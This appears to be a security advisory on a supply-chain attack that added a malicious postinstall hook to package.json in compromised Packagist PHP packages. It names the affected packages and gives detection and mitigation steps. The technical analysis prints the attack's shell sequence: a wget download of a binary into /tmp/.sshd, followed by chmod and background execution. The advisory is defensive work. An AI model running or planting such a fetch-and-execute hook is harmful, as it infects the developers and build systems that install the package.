Coordinated Packagist Attack Infects PHP Projects with Linux Malware

Executive Summary

Security researchers have uncovered a coordinated supply chain attack targeting at least eight PHP packages on the Packagist repository. The attackers modified the upstream repositories of these packages to include a malicious postinstall script. This script was designed to download a Linux binary from a GitHub Releases URL and execute it on the compromised system. The attack is notable for its 'cross-ecosystem' evasion tactic: the malicious hook was placed in the package.json file, commonly associated with the npm/JavaScript ecosystem, rather than the PHP-specific composer.json. This made the payload difficult to detect for security tools and developers focused solely on PHP configurations. The Packagist team has removed the malicious package versions.

Threat Overview

This attack highlights an increasing trend of threat actors leveraging multi-ecosystem features within a single software package to hide their activities.

• What Happened: At least eight PHP packages on Packagist were compromised to download and execute a Linux ELF binary.
• Attack Vector: Modification of the package.json file within a PHP project to add a malicious postinstall script.
• Payload: A Linux binary downloaded from GitHub and executed from the /tmp/.sshd directory.
• Evasion Tactic: By using package.json, the attackers bypassed security scanners and developer scrutiny focused on composer.json, the standard for PHP dependency management.

Technical Analysis

The attack chain was simple but effective:

1. Compromise: The threat actor gained access to the source repositories of several PHP packages, including:

   • moritz-sauer-13/silverstripe-cms-theme
   • crosiersource/crosierlib-base
   • devdojo/wave
   • devdojo/genesis

2. Injection: The attacker modified the package.json file in these repositories, adding a postinstall script. This script is automatically executed by package managers like npm or yarn after a package is installed. This is an instance of T1195.001 - Compromise Software Dependencies and Development Tools.

3. Execution: The postinstall script would perform the following actions, a classic use of T1059.004 - Unix Shell:

   wget https://github[.]com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/download/v3.1.2/patch -O /tmp/.sshd
   chmod +x /tmp/.sshd
   /tmp/.sshd &
   

   This sequence downloads the malicious binary (T1105 - Ingress Tool Transfer), makes it executable, and runs it in the background.

4. Payload: The nature of the Linux binary patch (saved as .sshd) was not detailed in the reports, but its execution from /tmp suggests a generic backdoor or cryptominer.

Impact Assessment

Any developer or CI/CD system that installed one of the compromised PHP packages and also ran npm install or yarn install as part of their build process would be affected. This would lead to the execution of the malicious Linux binary on their system. The impact depends on the payload of the binary but could range from credential theft and data exfiltration to the system being used for cryptocurrency mining or as part of a botnet. The attack demonstrates a significant gap in security scanning that focuses on a single package ecosystem, ignoring the hybrid nature of modern web development projects.

IOCs — Directly from Articles

Cyber Observables — Hunting Hints

Security teams should hunt for these patterns in their development and production environments:

Detection & Response

1. Audit package.json: Immediately audit all PHP projects for the presence of package.json files. If found, inspect them for any preinstall, install, or postinstall scripts.
2. Scan for IOCs: Scan Linux systems (developer workstations, build servers, web servers) for the presence of the /tmp/.sshd file and for any network logs showing connections to the malicious GitHub URL.
3. Review Build Processes: Analyze your CI/CD pipeline and local development setup. Understand if and when npm install is run alongside composer install. If it is, ensure that the security tools you use can analyze both composer.json and package.json.
4. Isolate and Rebuild: If a compromised system is found, it should be isolated from the network and rebuilt from a known-good state.

Mitigation

1. Comprehensive Scanners: Use security scanners that understand and analyze multi-ecosystem projects. Your dependency scanner should inspect package.json, composer.json, Gemfile, etc., within the same project.
2. Restrict Build Environments: Build environments should be ephemeral and have their network access restricted. Outbound connections should be denied by default and only allowed to trusted repositories through a proxy.
3. Disable Scripts: If not required, run package manager installations with flags that disable scripts (e.g., npm install --ignore-scripts). This can prevent malicious hooks from executing but may break legitimate packages that rely on them.
4. Principle of Least Privilege: Ensure your build processes run with the minimum necessary permissions. They should not have write access to unexpected parts of the filesystem or the ability to install new software.